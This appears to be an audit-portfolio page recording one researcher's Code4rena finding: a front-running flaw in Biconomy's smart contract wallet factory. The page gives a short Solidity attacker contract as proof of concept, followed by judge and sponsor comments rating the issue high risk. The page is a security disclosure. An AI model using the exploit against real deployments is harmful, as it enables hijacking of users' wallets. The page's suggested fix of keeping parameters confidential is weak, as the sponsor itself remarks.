Biconomy - Smart Contract Wallet contest - Qeew's results

One-Stop solution to enable an effortless experience in your dApp to onboard new users and abstract away transaction complexities.

General Information

Platform: Code4rena

Start Date: 04/01/2023

Pot Size: $60,500 USDC

Total HM: 15

Participants: 105

Period: 5 days

Judge: gzeon

Total Solo HM: 1

Id: 200

League: ETH

Biconomy

Findings Distribution

Researcher Performance

Rank: 96/105

Findings: 1

Award: $26.26

🌟 Selected for report: 0

🚀 Solo Findings: 0

Awards

26.2582 USDC - $26.26

Labels

bug
3 (High Risk)
judge review requested
satisfactory
sponsor confirmed
upgraded by judge
duplicate-460

External Links

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccountFactory.sol#L33-L75

Vulnerability details

Impact

Detailed description of the impact of this finding.

An attacker could obtain information about the _owner and '_index' parameters to front-run the deployment of a smart wallet.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

Attack Exploit could go this way

contract Attacker { WalletFactory walletFactory;

constructor(address walletFactoryAddress) public { walletFactory = WalletFactory(walletFactoryAddress); }

function attack(address _owner, address _entryPoint, address _handler, uint _index) public {

// Generate the address of the smart wallet that is going to be deployed address walletAddress = walletFactory.getAddressForCounterfactualWallet(_owner, _index);

// Deploy a new smart wallet with the same _owner and _index parameters, but with a different _handler parameter walletFactory.deployCounterFactualWallet(_owner, _entryPoint, address(this), _index);

// Check if the smart wallet was successfully deployed require(walletFactory.isWalletExist(walletAddress), "Smart wallet was not deployed"); } }

Tools Used

Manual review

This risk could be avoided by ensuring the details about the _owner, _entryPoint, and _handler parameters are kept confidential when deploying a new smart wallet.

#0 - c4-judge

2023-01-17T07:22:00Z

gzeon-c4 marked the issue as duplicate of #460

#1 - livingrockrises

2023-01-26T02:59:33Z

mitigation steps could have been better as transactions can be front runned. but we confirm the issue

#2 - c4-sponsor

2023-01-26T02:59:40Z

livingrockrises marked the issue as sponsor confirmed

#3 - c4-sponsor

2023-01-26T02:59:45Z

livingrockrises requested judge review

#4 - c4-judge

2023-02-10T11:36:04Z

gzeon-c4 marked the issue as partial-50

#5 - c4-judge

2023-02-10T12:24:52Z

gzeon-c4 marked the issue as satisfactory

#6 - c4-judge

2023-02-10T12:25:21Z

gzeon-c4 changed the severity to 3 (High Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter